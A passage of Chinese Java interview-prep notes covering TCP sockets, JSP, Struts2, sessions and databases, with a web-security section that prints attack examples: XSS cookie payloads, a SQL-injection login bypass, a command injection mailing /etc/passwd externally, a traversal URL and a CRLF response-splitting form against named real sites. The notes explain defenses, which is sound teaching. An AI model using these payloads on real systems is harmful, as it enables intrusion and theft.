连接成功之后获取输入输出流
socket.getInputStream();
socket.getOuputStream();
获取流之后就可以通过输入输出流发送和读取数据了, 客户端的输入流连接服务端输出流, 客户端输出流连接服务端输入流
客户端案例:
public class TcpClient {
public static void main(String[] args) throws IOException, IOException {
System.out.println("客户端启动...");
// 创建客户端
Socket socket = new Socket("127.0.0.1", 50000);
// 与服务端建立连接,获取输入输出流
InputStream in = socket.getInputStream();
OutputStream out = socket.getOutputStream();
// 将数据写出到服务端
System.out.println("客户端发送数据...");
out.write("Tcp,你好我是客户端...".getBytes());
// 关闭socket
out.close();
}
}
TCP服务端
第一步: 创建服务端
ServerSocket, 需要指定端口号. 客户端连接的就是这个端口.
java.lang.Object
java.net.ServerSocket
创建ServerSocket
ServerSocket serverSocket = new ServierSocket(8888);
第二步:和客户端建立连接
通过accept方法
Socket accept()
侦听并接受到此套接字的连接。
该方法会侦听是否有客户端连接,如果有建立连接,并获取客户端的Socket
也就是说服务端创建之后可以获取客户端连接, 返回一个Socket对象, 这个Socket就是和客户端连接的Socket
Socket socket = serverSocket.accept();
第三步: 接受客户端的数据,获取客户端的数据
服务端获取这个socket的输入输出流, 就可以和客户端发送接收数据了socket.getInputStream();
socket.getOutputStream();
第四步:获取客户端的ip地址和端口号
使用服务端获取的Socket 获取ip地址和端口.
InetAddress getInetAddress()
返回套接字连接的地址。
int getPort()
返回此套接字连接到的远程端口。
第五步:关闭客户端和服务端
在服务端中分别调用close方法.
2013年8月27日:
问题1、jQuery中AJAX发送请求的方法,get请求和post请求有什么区别?
get是从服务器获取数据,post是向服务器发送数据
get是小数据量传输,post是大数据量传输
get请求的参数队列会在是通过url地址传输,在url地址上就能看到传输的参数,post看不到
get安全性低,post安全性高,但get的执行效率比post高
如果是传输机密信息建议用post
如果是数据查询建议用get
问题2、Mysql和Oracle数据库的区别?
Oracle是付费的,安全性能更高,一般银行系统这种安全性要求很高的系统都是用Oracle
Oracle对权限的管理非常细致,做的非常好,大概有159种权限,Mysql只有27种
主键,Oracle不可以实现自增,Mysql可以实现自增,Oracle需要新建序列实现,SEQ_USER_Id.nextval
Oracle的分页方法和Mysql的分页方法比起来非常麻烦,Oracle需要用到个子查询,Mysql用一个limit方法搞定,而且分页时,Mysql的游标从0开始,Oracle从1开始
Mysql属于中型数据库,Oracle属于大型数据库,但并不是说Mysql不能支撑大型应用,而是从功能上来看,Oracle拥有更丰富和完善的功能,不过一般我们也是使用他的一部分常用功能,而这一部分功能Mysql也是具备的
在程序员的角度上来说,Mysql比Oracle更加简单一些
在细节的使用上来说Mysql在字符串上可以用单引号也可以用双引号,Oracle则必须使用单引号
问题3、简述Struts2框架?
Struts2是基于JSP和Servlet的一个开源web应用框架,使用MVC设计模式,结构清晰,使程序员可以只关注业务逻辑,还具有丰富的标签库可以使用。
Struts2工作流程:
客户端发送请求
根据web.xml,请求被FileDispatcher接收
根据struts.xml的配置,找到需要调用的Action类,通过IOC方式将值注入给Action,Action调用业务逻辑组件处理业务逻辑。如果有配置拦截器,这一步还包含了拦截器
Action执行完毕,根据struts.xml中的配置找到对应的Result,并跳转到相应页面
响应到客户端浏览器
问题4、简述AOP用什么技术实现的?
动态代理技术实现的,如果用JDK实现动态代理,需要利用Proxy类和InvocationHandler接口
问题5、IOC和new有什么区别?
IOC即是控制反转也叫依赖注入,他是通过IOC容器来生成对象,控制对象的生命周期,同时IOC把零散的部件组成了一个整体,从而达到疏散耦合的效果,我们可以利用Spring的配置,来让IOC决定给我们注入的是一个已有对象,还是新建一个对象。
而new是每次拿到的都是一个新的对象,同时也不便于管理。
问题6、什么是绑定变量?
变量绑定就是使用PreparedStatment对SQL语句进行一个预编译,其中有一些我们需要为其指定的参数,我们会在稍后为数据库指定这些参数的值,绑定变量的好处可以防止SQL注入,避免sql语句的硬解析。
查询通常只是因为改变WHERE子句中的内容而产生不同的结果。为了在这种情况下避免硬解析,需要使用绑定变量(bind variable)。它是用户放入查询中的占位符,它会告诉Oracle"我会随后为这个变量提供一个值,现在需要生成一个方案,但我实际执行语句的时候,我会为您提供应该使用的实际值"。
例如:
select * from emp where ename='KING'; //不使用绑定变量
select * from emp where ename=:bv; //使用绑定变量
问题7、delete、truncate、drop的异同?
相同点:
truncate和不带where子句的delete, 以及drop都会删除表内的数据
drop,truncate都是DDL(数据定义语言)语句,执行后会自动提交
不同点:
truncate和 delete只删除数据不删除表的结构(定义)
drop语句将删除表的结构被依赖的约束(constrain),触发器(trigger),索引(index);
依赖于该表的存储过程/函数将保留,但是变为invalid无效状态
delete语句是DML,这个操作会放到rollback segement回滚段中,事务提交之后才生效;如果有相应的trigger,执行的时候将被触发
truncate,drop是DDL,操作立即生效,原数据不放到rollback segment中,不能回滚,操作不触发trigger
速度,一般来说:drop > truncate > delete
delete是DML语句,不会自动提交
drop,truncate都是DDL(数据定义语言)语句,执行后会自动提交
问题8、IOC和工厂模式的区别?
使用Spring框架中IOC能得到与工厂模式同样的效果,而且编码更加简洁、灵活和方便。
除非重新编译,否则无法对“产品的实现类”进行替换,必须重新编译工厂类来达到所要求的改变,但这样将使得原本可以取得的易用性将大大降低
无法在单例和原型之间切换产品对象实例产生的模式
无法透明地为不同的产品组件类提供多种不同形式的实现。这是开发者在应用工厂模式时比较头疼的一个问题,因为工厂模式中的工厂类要求每个产品组件类都必须遵从在产品接口中定义的方法和结构特征。一个接口常常意味着一个生成工厂,当接口为多个时,将会出现许多不同的工厂类。
2013年8月28日:万迅电脑软件
问题1、JSP经Tomcat编译后的.class文件位置?
Tomcat将JSP编译成Servlet后的文件存放在\work\Catalina目录下,例如jsp文件\webapps\hh\h.jsp,编译后路径为:
\work\Catalina\localhost\hh\org\apache\jsp\h_jsp.java
Servlet文件和.class文件都在同一目录下,文件名一般会被更改,改名规则为: index.jsp会改成index_jsp.class,以此类推。
问题2、Session默认过期时间如何修改?
程序中Session都有一个默认的过期时间,其中Tomcat中的默认时间为30分钟,根据需要我们可以去手动设置Session的过期时间,以下是设置Session的过期时间的三个方法:
1、在Tomcatconfconf/web.xm中的<session-config>中设置:
<session-config>
<session-timeout>30</session-timeout>
</session-config>
2、在项目的web.xml中定义:
<session-config>
<session-timeout>20</session-timeout>
</session-config>
注:20则设置过期时间为20分钟
3.在程序中定义:
session.setMaxInactiveInterval(30*60);
问题3、请讲述有四种会话跟踪技术?
隐藏表单域、URL重写、Cookie、Session
隐藏表单域:
将会话ID添加到HTML表单元素中提交到服务器,此表单元素并不在客户端显示<input hidden>
URL 重写:
URL(统一资源定位符)是Web上特定页面的地址,URL重写的技术就是在URL结尾添加一个附加数据以标识该会话,把会话ID通过URL的信息传递过去,以便在服务器端进行识别不同的用户
Cookie:
Cookie是Web服务器发送给客户端的一小段信息,客户端请求时可以读取该信息发送到服务器端,进而进行用户的识别。对于客户端的每次请求,服务器都会将Cookie发送到客户端,在客户端可以进行保存,以便下次使用
客户端可以采用两种方式来保存这个Cookie对象,一种方式是 保存在客户端内存中,称为临时Cookie,浏览器关闭后 这个Cookie对象将消失。另外一种方式是保存在客户机的磁盘上,称为永久Cookie。以后客户端只要访问该网站,就会将这个Cookie再次发送到服务器上,前提是这个Cookie在有效期内。这样就实现了对客户的跟踪
Cookie是可以被禁止的
Session:
使用setAttribute(String str,Object obj)方法将对象捆绑到一个会话(在会话中可以保存任意类型的对象,但因为会话可能被序列化,最好让会话对象实现 java.io.Serializable接口
使用getArrtibute(String str)方法从一个会话中检索对象
使用removeAttribute(String str)方法从一个会话中销毁对象
使用setMaxInactiveInteral()方法设置会话的有效期,默认为30分钟(在web.xml中配置)
使用invalidate()方法将会话所有捆绑的对象解缚。
问题4、如果不用Spring如何实现AOP和IOC功能?
说到底,IOC就是反射,实例化指定类;AOP就是拦截,一系列的过滤器
IOC:工厂模式通过读取配置文件创建实例结合反射使用,在配置文件里面配置要实例化的对象的全路径
AOP:意为面向切面的编程,可以为某一类对象进行监督和控制,也就是调用你这个对象的方法前或者方法后,去调用你指定的模块从而达到一个对模块扩充的功能,一般用来做权限控制和日志记录等等,不用AOP的话,Struts2的拦截器也可以实现,不用Struts2,也可以直接用过滤器
补充:
AOP(Aspect-Oriented Programming,面向切面的编程),它是可以通过预编译方式和运行期动态代理实现在不修改源代码的情况下给程序动态统一添加功能的一种技术。它是一种新的方法论,它是对传统OOP编程的一种补充。
IoC,(Inverse of Control)控制反转,其包含两个内容:其一是控制,其二是反转。在程序中,被调用类的选择控制权从调用它的类中移除,转交给第三方裁决,它是一种设计模式,通过Java反射技术实现。
问题5、写出你所知道JSP内置对象的方法?
Request对象:
客户端的请求信息被封装在Request对象中,通过它才能了解到客户的需求,然后做出响应。它是HttpServletRequest类的实例
getSession 获取当前的会话
setAttribute(String key,Object obj) 将一个对象绑定到request中指定的name属性
getAttribute(String name) 该方法返回由name指定的属性值,如果指定的属性值不存在,则返回null
getParameter(String name)
该方法用于获得客户端传送给服务器端的参数,该参数有name指定,通常是表单中的参数
setCharacterEncoding(String type)重载正文中使用的字符编码
注:在用request.getParameter()获取中文数据前,要先用request.setCharacterEncoding("utf-8");设定字符编码,如果不设定则有可能出现乱码!
Response对象
Response对象包含了响应客户请求的有关信息,但在JSP中很少直接用到它。它是HttpServletResponse类的实例
addCookie(Cookie cook) 添加一个Cookie对象,用来保存客户端的用户信息
sendRedirect(java.lang.String location) 重新定向客户端的请求
addHeader(String name,String value) 添加Http响应头信息
该Header信息将传达到客户端,如果已经存在同名的则会覆盖
setHeader(String name,String value) 设置指定名字的Http响应头的值,若存在则会覆盖
Session对象
Session对象指的是客户端与服务器的一次会话,从客户连到服务器的一个WebApplication开始,直到客户端与服务器断开连接为止。它是HttpSession类的实例
String getId() 返回Session创建时JSP引擎为它设的唯一ID号
invalidate() 取消Session,使Session不可用,销毁Session
setMaxInactiveInterval() 设置Session的失效时间,单位是ms毫秒,1秒=1000毫秒
getAttribute(String name) 返回与指定名称相联系的属性
setAttribute(String name, Object ob) 将一个对象绑定到会话中指定的name属性
removeAttribute(String name) 删除绑定到对话中指定名称的对象
Out对象
Out对象是JspWriter类的实例,是向客户端输出内容常用的对象
这个对象最常用的方法只有两个:out.print("...") out.println("...")
用途都是向客户端发送信息,即,在浏览器中显示信息。很多时候动态生成网页都由该语句实现,如:
out.println("<table><tr><td>动态生成</td></tr></table>");
clear() 清除缓冲区里的数据,但不会把数据输出到客户端
clearBuffer() 清除缓冲区里的数据,并把数据输出到客户端
close() 关闭输出流
flush() 输出缓冲区里的数据
newLine() 换行,相当于\n
Page对象
Page对象就是指向当前JSP页面本身,有点象类中的this指针,它是java.lang.Object类的实例
getClass 返回此Object的类
hashCode() 返回此Object的hash码
equals(Object obj) 判断此Object是否与指定的Object对象相等
copy(Object obj) 把此Object拷贝到指定的Object对象中
clone() 克隆此Object对象
toString() 把此Object对象转换成String类的对象
notify() 唤醒一个等待的线程
notifyAll() 唤醒所有等待的线程
wait(int timeout) 使一个线程处于等待直到timeout结束或被唤醒
wait() 使一个线程处于等待直到被唤醒
enterMonitor() 对Object加锁
exitMonitor() 对Object开锁
Application对象
Application对象实现了用户间数据的共享,可存放全局变量。它开始于服务器的启动,直到服务器的关闭,在此期间,此对象将一直存在;这样在用户的前后连接或不同用户之间的连接中,可以对此对象的同一属性进行操作;在任何地方对此对象属性的操作,都将影响到其他用户对此的访问。服务器的启动和关闭决定了Application对象的生命。它是ServletContext类的实例
getAttribute(String name) 返回给定名的属性值
setAttribute(String name,Object obj) 设定属性的属性值
removeAttribute(String name) 删除一属性及其属性值
getResource(String path) 返回指定资源(文件及目录)的URL路径
getResourceAsStream(String path) 返回指定资源的输入流
getRequestDispatcher(String uripath) 返回指定资源的RequestDispatcher对象
Exception对象
Exception对象是一个例外对象,当一个页面在运行过程中发生了例外,就产生这个对象。如果一个JSP页面要应用此对象,就必须把isErrorPage设为true,否则无法编译。他实际上是java.lang.Throwable的对象
getMessage() 返回描述异常的消息
toString() 返回关于异常的简短描述消息
printStackTrace() 显示异常及其栈轨迹
PageContext对象
PageContext对象提供了对JSP页面内所有的对象及名字空间的访问,也就是说他可以访问到本页所在的SESSION,也可以取本页面所在的Application的某一属性值,他相当于页面中所有功能的集大成者,它的本类名也叫PageContext
getOut() 返回当前客户端响应被使用的JspWriter流(out)
getSession() 返回当前页中的HttpSession对象(session)
getPage() 返回当前页的Object对象(page)
getRequest() 返回当前页的ServletRequest对象(request)
getResponse() 返回当前页的ServletResponse对象(response)
getException() 返回当前页的Exception对象(exception)
getServletConfig() 返回当前页的ServletConfig对象(config)
getServletContext() 返回当前页的ServletContext对象(application)
setAttribute(String name,Object attribute) 设置属性及属性值
setAttribute(String name,Object obj,int scope) 在指定范围内设置属性及属性值
Object getAttribute(String name) 取属性的值
getAttribute(String name,int scope) 在指定范围内取属性的值
Object findAttribute(String name) 寻找一属性,返回起属性值或NULL
removeAttribute(String name) 删除某属性
removeAttribute(String name,int scope) 在指定范围删除某属性
forward(String relativeUrlPath) 转发
include(String relativeUrlPath) 在当前位置包含另一文件
Config对象
Config对象是在一个Servlet初始化时,JSP引擎向它传递信息用的,此信息包括Servlet初始化时所要用到的参数(通过属性名和属性值构成)以及服务器的有关信息(通过传递一个ServletContext对象)
getServletContext() 返回含有服务器相关信息的ServletContext对象
getInitParameter(String name) 返回初始化参数的值
getInitParameterNames() 返回Servlet初始化所需所有参数的枚举
问题6、Java启动参数Xms和Xmx的含义?
参数名 含义 默认值
Xms 初始堆大小 物理内存的1/64(<1GB)
Xmx 最大堆大小 物理内存的1/4(<1GB)
Xmn 年轻代大小
Xss 每个线程的堆栈大小
问题7、对于Web应用安全的理解?以下是大分类,采用问题7-1、问题7-2开头,以此类推,为系列问题。
问题7-1、 跨站脚本攻击(CSS or XSS, Cross Site Scripting)——注入
相信绝大多数人对跨站脚本弱点已经早有耳闻。2006年全球网络安全弱点Top10排名当中,它荣登榜首!为什么它有如此之大的影响力呢?个人觉得原因有三:
1、攻击难度小,不管是技术还是实现攻击的成本上都比较容易
2、它存在的载体(浏览器)使用极其广泛
3、它所依赖的技术被广泛的应用与支持(JavaScript,VB Script, HTML,ActiveX, Flash)
说了这么多,它到底是什么呢?
XSS是一种存在Web应用中,允许黑客以最终用户的身份向Web应用注入恶意脚本,以愚弄其他用户或获取其他用户重要数据和隐私信息为目的的一种攻击形式。
XSS可使用的技术有JavaScript、VBScript、 ActiveX、 或 Flash, 且通常通过页面表单提交注入到web应用中并最终在用户的浏览器客户端执行。例如,一个没有经过安全设计并实现的论坛,当你在跟贴时在正文输入这样的代码:
< script>alert(document.cookie);</script>
当其它用户浏览时便会弹出一个警告框,内容显示的是浏览者当前的cookie串。
试想如果我们注入的不是以上这个简单的测试代码,而是一段经常精心设计的恶意脚本,当用户浏览此帖时,cookie信息就可能成功的被攻击者获取。此时浏览者的帐号就很容易被攻击者掌控了。
不管是上述的哪一种技术实现的XSS攻击,最终都离不开这三点:
1、是浏览器的解析 2、是脚本语法 3、是脚本需要一定的长度
对于浏览器的解析是不在话下了,我不能因为这各类型问题的存在就改写浏览器使其不支持脚本解析。
所以,能做就是控制脚本注入的语法要素。比如:JavaScript离不开:< 、 > 、 ( 、 ) 、;...等等,所以我们只需要在输入或输出时对其进行字符过滤或转义处理就可以了。一般我们会采用转义的方式来处理,转义字符是会使用到HTML的原始码,因为原始码是可以被浏览器直接识别的,所以使用起来非常方便。
允许可输入的字符串长度限制也可以一定程度上控制脚本注入。比如:页面表单中姓名,我可以只允许你输入5个字符,请问你还有办法进行JavaScript的脚本注入吗?显然不行了。
还需要您注意的是:我这里所述的过滤、检测、限制等等策略,一定一定要在Web Server服务器那一端去完成,而不是使用客户端的JavaScript或者VBScript...去做简单的检查。因为真正的攻击者不会仅仅依赖于浏览器去做攻击,而更多的往往是借助于第三方工具,根本就可以绕过你精心设计制作的客户端JavaScript进行过滤、检测或限制手段的。
问题7-2、SQL注入攻击(SQL injection)——注入
早在十几年前,基于数据库的Web应用刚刚盛行的时候,几乎所有的开发商都忽略了SQL注入弱点,导致当时绝大多数的网站的登录入口形同虚设!为什么呢?先给一个小小的例子,假如以下SQL代码是用来在网站登录入口入执行用户验证时的查询代码:
SELECT count(*)
FROM users_list_table
WHERE username='USERNAME'
AND password='PASSWORD'
以上的USERNAME就是我们登录时提供的用户名,PASSWORD就是我们登录时提供的密码。当用户输入正确的用户名和密码时,这条语句的执行结果将为真(True),否则为假(False),当然为真时我们就认为认证通过,为假时就认为认证失败,即非法登录。试想一下,如果我在输入用户名和密码的时候输入如下的内容:
用户名:a' or 'a'='a
密码:a' or 'a'='a
用代入法把用户名和密码输入值代入到上述的SQL脚本里结果如下:
SELECT count(*)
FROM users
WHERE username='a' or 'a'='a'
AND password='a' or 'a'='a'
相信稍懂一点儿SQL语句的人都知道,这条语句的执行结果就永远是真了!此时你不需要有帐号,就直接登录成功了!你对此漏洞理解的深度同样取决于你的对SQL语句的技能和Web安全知识能力。一个具有良好技能的攻击者可能利用此漏洞获取后台DB的结构并逐步获取DB的信息。
总结一下:SQL注入弱点是存在基于数据库的Web应用中,黑客利用精心组织的SQL语句,通过Web接口(通常指我们的Web页面的表单)注入的Web应用中,从而获取后台DB的访问与存取权的一种安全弱点。
简要的解决方案:
刚刚介绍了XSS,在这里关于SQLInjection我想就无需多说了,都是过滤、合法性检查和长度限制等通用方法。
有没有注意到,XSS和SQL Injection,虽然名字不一样,但它们似乎都属于我前一篇文章《解读Web安全性问题的本质》中的第一部分,即输入/输出验证。下面将要介绍的远程命令执行、目录遍历和文件包含同样也是输入/输出验证问题。
问题7-3、远程命令执行(Code execution,个人觉得译成代码执行并不确切)
先不解释它的概念,我们先假设这样一个用户使用场景:
有一个站点的管理入口功能非常强大,大到什么程度呢?可以重启Web服务器。
你能想出来它是如何实现的吗?我们知道不管是PHP还是JSP,我们都可以在服务器通过Shell调用系统(Linux or Windows)命令,等命令执行后,将执行结果返回给客户端。其实我们通过Web Page的管理入口管理服务器端的各种服务就是通过类似这种渠道完成的。
这里会有什么问题?比如我们要重启apache,假如系统是通过这个命令来完成的:
/$path/./apche -restart
这里的$path是Web应用程序的基准路径(比如:apache上的documentroot),它的实现方式是这样的:通过用户浏览器客户端传送一个命令串给Web Server,Web Server通过调用shell来执行传过来的命令。
试想,如果我通过浏览器客户端强行传送一个:restart, shutdown之类的命令给Server,结果会是什么样子?
这只是起一个小小的破坏作用,那如果我传送一个:mail
[email protected] </etc/passwd,执行结果是什么?
结果是将linux系统的passwd文件(linux系统用户信息)发送到指定的邮箱
[email protected]。是不是很可怕呢?
这就是远程命令执行漏洞的一个小小的典型例子。
至于它的更深远的安全隐患在哪里还需要你有更多的相关基础知识才能够得以深入理解和运用(比如:Web server OS, Web Service-apache/weblogic/tomcat...相关的使用技能)。
总结一下:远程命令执行漏洞一般发生在Web系统允许用户通过Web应用接口访问与管理Web服务器且没有经过严格的输入验证与过滤的情况下的一种Web应用安全漏洞。
简要的解决方案:
严格限制运行Web服务的用户权限。
就是说你的Web应用可以访问你的服务器系统的用户权限。一般情况一下,我们应该以白名单的形式介定Web应用可以访问服务器系统的权限。这样控制可以从系统级达到安全防范的效果。
严格执行用户输入的合法性检查。
这里的输入不一定是你通过表单从键盘输入,往往是Web应用已经内定了某一些操作供您选择,而此时你可以通过Http抓包的方式获取Http请求信息包经改装后重新发送。
问题7-4、目录遍历(Directory traversal)
部分朋友应该知道之前我在我的blog里公布了ah163.net上的一个安全漏洞,安全级别高:极度危险,由于我没有公布细节,大家都比较好奇想知道是什么。出于对同行的尊重我就删除了漏洞公布这一栏的内容了。我已经通知ah163.net的同行了,他们已经fix那个问题。
今天我们就讲讲这个漏洞,love.ah163.net上有网络硬盘服务,当注册用户登录并开通网络硬盘服务后,即可进入自己的硬盘管理界面,我们来看看它是如何进入某一个目录的,以下是进入某一目录的URL: http://love.ah163.net/Personal_Spaces_List.php?dir=MyFolder
那现在我把这个URL改装一下:
http://love.ah163.net/Personal_Spaces_List.php?dir=../../../../../../../../../../../../../usr/local/apache/conf/
在浏览器里运行它,会是什么结果呢?结果是:/usr/local/apache/conf/里的所有文件都老老实实的列出来了,通过这种方式,你可以发挥你的想象了,服务器上的东东是不是都差不多可以列出来了?告诉你,还可以随便下载呢!网络硬盘嘛,就是用来上传下载的,所以它提供的功能很完备,破坏性也就很强了。至于它的危害有多大,你自己想去吧,我就不危言耸听了。
简要的解决方案:
1、同样是限制Web应用在服务器上的运行
2、进行严格的输入验证,控制用户输入非法路径
问题7-5、http请求头的额外的回车换行符注入(CRLF injection/HTTP response splitting)
CRLF:Carriage-Return Line-Feed 回车换行
HTTP response splitting:HTTP 响应头分割
为了讲清楚这个问题,首先我们来看一个校内网的XSS。
漏洞出在 http://login.xiaonei.com
正常情况下,用户名处是已经htmlencode过了的
(实际上 a<script>这里是 htmlencode过的)
接下来随便在什么站上构造如下form:
< form id="x" action="http://login.xiaonei.com/Login.do?email=a%0d%0a%0d%0a<script>alert(/XSS/);</script>" method="post"> <!-- input name="email" value="" / --> <input name="password" value="testtest" /> <input name="origURL" value="http%3A%2F%2Fwww.xiaonei.com%2FSysHome.do%0d%0a" /> <input name="formName" value="" /> <input name="method" value="" /> <input type="submit" value="%E7%99%BB%E5%BD%95" /></form>
提交该表单
将造成一个XSS
抓包看到数据是这样构成的
POST http://login.xiaonei.com/Login.do?email=a%0d%0a%0d%0a<script>alert(/XSS/);</script> HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*Referer: http://www.a.com/test.htmlAccept-Language: zh-cnContent-Type: application/x-www-form-urlencodedUA-CPU: x86Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)Proxy-Connection: Keep-AliveContent-Length: 103Host: login.xiaonei.comPragma: no-cacheCookie: __utmc=204579609; XNESSESSIONID=abcThVKoGZNy6aSjWV54r;
[email protected]; __utma=204579609.2036071383.1229329685.1229336555.1229347798.4; __utmb=204579609; __utmz=204579609.1229336555.3.3.utmccn=(referral)|utmcsr=a.com|utmcct=/test.html|utmcmd=referral; userid=246859805; univid=20001021; gender=1; univyear=0; hostid=246859805; xn_app_histo_246859805=2-3-4-6-7; mop_uniq_ckid=121.0.29.225_1229340478_541890716; syshomeforreg=1; id=246859805; BIGipServerpool_profile=2462586378.20480.0000; _de=a; BIGipServerpool_profile=2462586378.20480.0000password=testtest&origURL=http%253A%252F%252Fwww.xiaonei.com%252FSysHome.do%250d%250a&formName=&method=HTTP/1.1 200 OKServer: Resin/3.0.21Vary: Accept-EncodingCache-Control: no-cachePragma: no-cacheExpires: Thu, 01 Jan 1970 00:00:00 GMTSet-Cookie: kl=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMTSet-Cookie: societyguester=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMTSet-Cookie: _de=a<script>alert(/XSS/);</script>; domain=.xiaonei.com; expires=Thu, 10-Dec-2009 13:35:17 GMTSet-Cookie: login_email=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMTContent-Type: text/html;charset=UTF-8Connection: closeTransfer-Encoding: chunkedDate: Mon, 15 Dec 2008 13:35:17 GMT217b<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>......
可以看到,实际上就是分割了http response 包的包头, %0d%0a 是换行,从而插入了我们自己的数据。
HTTP Response Splitting 是 CRLF Injection的一种.Carriage Return (CR, ASCII 13, ) Line Feed (LF, ASCII 10, )
这两个字符经常被用来作为换行。在很多文本、语言里,都能这么用,所以CRLF是一种广义的攻击,用在HTTP响应里,就是 HTTP Response Splitting
这已经是非常古老的技术了,现在拿出来说,是因为前两天看paper,发现提到IE8 的 XSS Filter没有,也不会(微软已确认)增加 CRLF + XSS 的防范。所以在这里只能依靠我们自己来对抗这种攻击。需要指出的是,如果直接用我上面那个form,可能会测试失败,这是因为校内是有压缩过HTTP包的客户端浏览器(我的是IE7),提交包头里有:Accept-Encoding: gzip, deflate所以服务器知道客户端接受压缩包,所以选择了压缩响应包Content-Encoding: gzip这里是采用gzip压缩格式,如果压缩后,直接插入明文的html代码,会报错。在实施HTTP Response Splitting的时候,一般通过如下3个条件可以达成这种攻击(当然要没过滤%0d%0a):1. Set-Cookie 中的内容用户可以控制2. 302跳转的 Location 地址用户可以控制3. 其他自定义Header 用户可以控制上面举的校内网的例子就是第一种,在 Set-Cookie 中有个字段可以控制,而又没过滤CR、LF实际上这里问题还不止如此,提交的参数中有一个 <input name="origURL" value="http%3A%2F%2Fwww.xiaonei.com%2FSysHome.do%0d%0a" />此处将造成一个 302 跳转,满足我们的第二个条件,这里也是可以控制的。第三个条件,自定义的header,这个不多见,但我也在大站里找到过案例,出于其他因素考虑,不在这里举例了。
GZIP的压缩数据很讨厌,导致我们必须要自己去压缩数据,然后想办法提交上去,大大增加了攻击的门槛。但是如果CRLF的时候处在 Content-Encoding: gzip 之前,则可以提交明文数据,反之,则不能直接提交明文数据。比较万能的跨站是直接在HTTP头里插入新标准里的 Link 标签Link: <http://www.a.com/xss.css>; REL:stylesheet可以直接造成XSS
不光是XSS,HTTP Response Splitting 的严重性要高于XSS,因为能修改HTTP返回包头,所以很可能造成跨域问题。设想我们插入一个P3P头,然后再在一个别的域引用此处,则会造成隐私数据的跨域.此类问题非常之多,很多大站都有,不再举例了。漏洞组合起来,威力绝对不止1+1=2这么简单了。要防范很简单,过滤或者替换 %0d%0a,对我上面列出的3个条件,检查所有输出。
问题8、Web应用程序安全性问题的本质是什么,请说说你的理解?
相信大家都或多或少的听过关于各种Web应用安全漏洞,诸如:跨site脚本攻击(XSS),SQL注入,上传漏洞...形形色色.
在这里我并不否认各种命名与归类方式,也不评价其命名的合理性与否,我想告诉大家的是,形形色色的安全漏洞中,其实所蕴含安全问题本质往往只有几个。 我个人把Web应用程序安全性本质问题归结以下三个部分:
1、输入/输出验证(Input/output validation)
2、角色验证或认证(Role authentication )
3、所有权验证(Ownership authentication)
说到这,读者一定想知道我这三种分类与形形色色的安全性问题有什么关系?下面我逐个给您概略解答:
输入/输出验证
这里的输入与输出其实都是发生在用户界面(User Interface)这一个层面上的,比如:你某一站点上提交一份注册信息,往往会收到诸多提示:“用户名非法”,“姓名不能使用英文“......其实这就是输入验证的一个实例。
什么情况是输出呢?比如说你成功提交一份注册信息后,系统会返回一个确认页(Registerred Confirmation),往往在这个页面上会显示你注册时提交的部分或全部信息,那么在这里显示的信息就是我所说的输出实例之一。
输入需要做什么验证?
假如你在提交时,在Address那一栏输入:<script>alert("iwebsecurity");</script>, 当你到达注册的确认页时,会有什么发生?如果确认页没有做输出验证处理,那很显然会在到达确认页的时候出现一个JavaScript打出的提示框。其实这就是跨site脚本攻击的一个小小的实例。当然了,单纯的输入/输出验证涉及的面可能够写一小本书了,努力在后续文章中给大家详解。
角色验证或认证
我们就拿CSDN来说吧,用户有这些角色:
其一可以说是游客,就是浏览者没有登录时的角色;
其二是免费的注册用户;或许将来CSDN深入发展了,业务有所更新,还会出现收费的注册用户。
以上只是用户角色,那在CSDN公司内部还会有管理员角色,还有可能管理员又可以根据板块分为各种不同的角色。大家看到了吧,你天天访问的CSDN一共可能有多少角色?
接下来的问题就是权限问题了,为什么会有角色?
就是为了控制权限的。每种角色都有自己特定的与公共的权限,这些权限的逻辑关系是相当复杂的,如果一个Web应用在角色上没有一个详细的合理的设计,将会给开发人员带来无限痛苦和麻烦。
那现在我要问几个问题:你能保证每种角色只能做其份内的事儿?你是如何去保证的呢?方法可靠吗?有没有漏洞?...... 这,就是我要说的角色验证或认证。
BTW(By the way顺便说一下):为什么我会说验证或认证呢?
你可以这么理解,角色性存在于两个阶段:
其一进入阶段,比如你登录的那一瞬间,你进入了一个特定的角色;
另一个阶段就是维持阶段,你如何确保你登录后总是以登录时的身份在操作呢?
那前者可以说是:认证,后者就是验证了。(有点罗嗦不?)
给一个角色认证/验证方面的虚拟案例,比如:一个在线电影服务提供商,会免费给您开一个试用角色,如果这试用角色验证不当,可能会导致用户权限提升而成为一个合法的收费用户,而这个收费用户你往往却收不到他的任何费用。
所有权验证
这个问题的存在也是基于角色的,只不过它所关心的是同级别的角色之间的权限问题。
就拿CSDN来说吧,我是CSDN的一个免费用户,你也是。
现在的问题是:我可以替你操作吗,我可以替你发表文章吗?我能修改你的个性设置吗?
如果不能,CSDN是如何实现的?虽然你和我都是普通用户,但是你有你的隐私我也有我的隐私,如何保证严格的所有权验证就显得尤为关键了。
比较简单吧,这就是我所说的所有权验证。
我可以很自信的告诉你,只要是Web应用安全性问题,它逃不出在这三大部分。
可能你还无法把形形色色的Web应用安全性问题与这三个部分对应并合理的解释清楚,但是确实只有这么简单的几个部分。如果您有疑问,可以以评论的方式提问。我可能会回复,也可能会以另一篇文章的形式出现,以供大家参考。
问题9、Filter过滤器功能和用法有哪些,是什么?
Filter过滤器:
Filter与Servlet相似,过滤器是一些Web应用程序组件,可以绑定到一个Web应用程序中。但是与其他Web应用程序组件不同的是,过滤器是"链"在容器的处理过程中的。这就意味着它们会在Servlet处理器之前访问一个进入的请求,并且在外发响应信息返回到客户前访问这些响应信息。这种访问使得过滤器可以检查并修改请求和响应的内容。
它与Servlet的区别在于:它不能直接向用户生成响应。
完整的Filter流程是:
Filter对用户请求进行预处理,接着将请求交给Servlet进行处理并生成响应,最后Filter再对服务器响应进行后处理。
Filter作用:
在HttpServletRequest到达Servlet之前,拦截客户的HttpServletRequest请求
